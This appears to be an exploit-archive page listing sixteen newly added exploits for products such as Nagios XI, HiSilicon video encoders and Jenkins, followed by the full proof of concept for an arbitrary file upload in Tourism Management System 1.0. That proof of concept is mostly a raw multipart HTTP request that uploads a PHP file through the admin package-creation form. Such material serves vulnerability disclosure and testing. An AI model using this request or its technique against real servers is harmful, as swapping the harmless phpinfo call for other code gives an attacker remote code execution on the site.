ae14b71248
16 changes to exploits/shellcodes Tourism Management System 1.0 - Arbitrary File Upload Nagios XI 5.7.3 - 'Contact Templates' Persistent Cross-Site Scripting Nagios XI 5.7.3 - 'Manage Users' Authenticated SQL Injection Nagios XI 5.7.3 - 'SNMP Trap Interface' Authenticated SQL Injection Online Student's Management System 1.0 - Remote Code Execution (Authenticated) Online Discussion Forum Site 1.0 - XSS in Messaging System Online Job Portal 1.0 - Cross Site Scripting (Stored) HiSilicon Video Encoders - Unauthenticated file disclosure via path traversal HiSilicon Video Encoders - RCE via unauthenticated command injection HiSilicon video encoders - RCE via unauthenticated upload of malicious firmware HiSilicon Video Encoders - Full admin access via backdoor password HiSilicon Video Encoders - Unauthenticated RTSP buffer overflow (DoS) Jenkins 2.63 - Sandbox bypass in pipeline: Groovy plug-in Hostel Management System 2.1 - Cross Site Scripting (Multiple Fields) Typesetter CMS 5.1 - Arbitrary Code Execution (Authenticated) Textpattern CMS 4.6.2 - Cross-site Request Forgery
67 lines
No EOL
2.3 KiB
Text
67 lines
No EOL
2.3 KiB
Text
#Exploit Title: Tourism Management System 1.0 - Arbitrary File Upload
|
|
#Date: 2020-10-19
|
|
#Exploit Author: Ankita Pal & Saurav Shukla
|
|
#Vendor Homepage: https://phpgurukul.com/tourism-management-system-free-download/
|
|
#Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=7204
|
|
#Version: V1.0
|
|
#Tested on: Windows 10 + xampp v3.2.4
|
|
|
|
|
|
Proof of Concept:::
|
|
|
|
Step 1: Open the affected URL http://localhost:8081/Tourism%20Management%20System%20-TMS/tms/admin/create-package.php
|
|
|
|
Step 2: Open Tour Package -> Create
|
|
|
|
Malicious Request:::
|
|
|
|
POST /Tourism%20Management%20System%20-TMS/tms/admin/create-package.php HTTP/1.1
|
|
Host: localhost:8081
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
|
|
Accept-Language: en-GB,en;q=0.5
|
|
Accept-Encoding: gzip, deflate
|
|
Content-Type: multipart/form-data; boundary=---------------------------63824304340061635682865592713
|
|
Content-Length: 1101
|
|
Origin: http://localhost:8081
|
|
Connection: close
|
|
Referer: http://localhost:8081/Tourism%20Management%20System%20-TMS/tms/admin/create-package.php
|
|
Cookie: PHPSESSID=q9kusr41d3em013kbe98b701id
|
|
Upgrade-Insecure-Requests: 1
|
|
|
|
-----------------------------63824304340061635682865592713
|
|
Content-Disposition: form-data; name="packagename"
|
|
|
|
Pack1
|
|
-----------------------------63824304340061635682865592713
|
|
Content-Disposition: form-data; name="packagetype"
|
|
|
|
Family
|
|
-----------------------------63824304340061635682865592713
|
|
Content-Disposition: form-data; name="packagelocation"
|
|
|
|
Manali
|
|
-----------------------------63824304340061635682865592713
|
|
Content-Disposition: form-data; name="packageprice"
|
|
|
|
21
|
|
-----------------------------63824304340061635682865592713
|
|
Content-Disposition: form-data; name="packagefeatures"
|
|
|
|
Free
|
|
-----------------------------63824304340061635682865592713
|
|
Content-Disposition: form-data; name="packagedetails"
|
|
|
|
Details
|
|
-----------------------------63824304340061635682865592713
|
|
Content-Disposition: form-data; name="packageimage"; filename="file1.php"
|
|
Content-Type: application/octet-stream
|
|
|
|
<?php
|
|
phpinfo();
|
|
?>
|
|
-----------------------------63824304340061635682865592713
|
|
Content-Disposition: form-data; name="submit"
|
|
|
|
|
|
-----------------------------63824304340061635682865592713-- |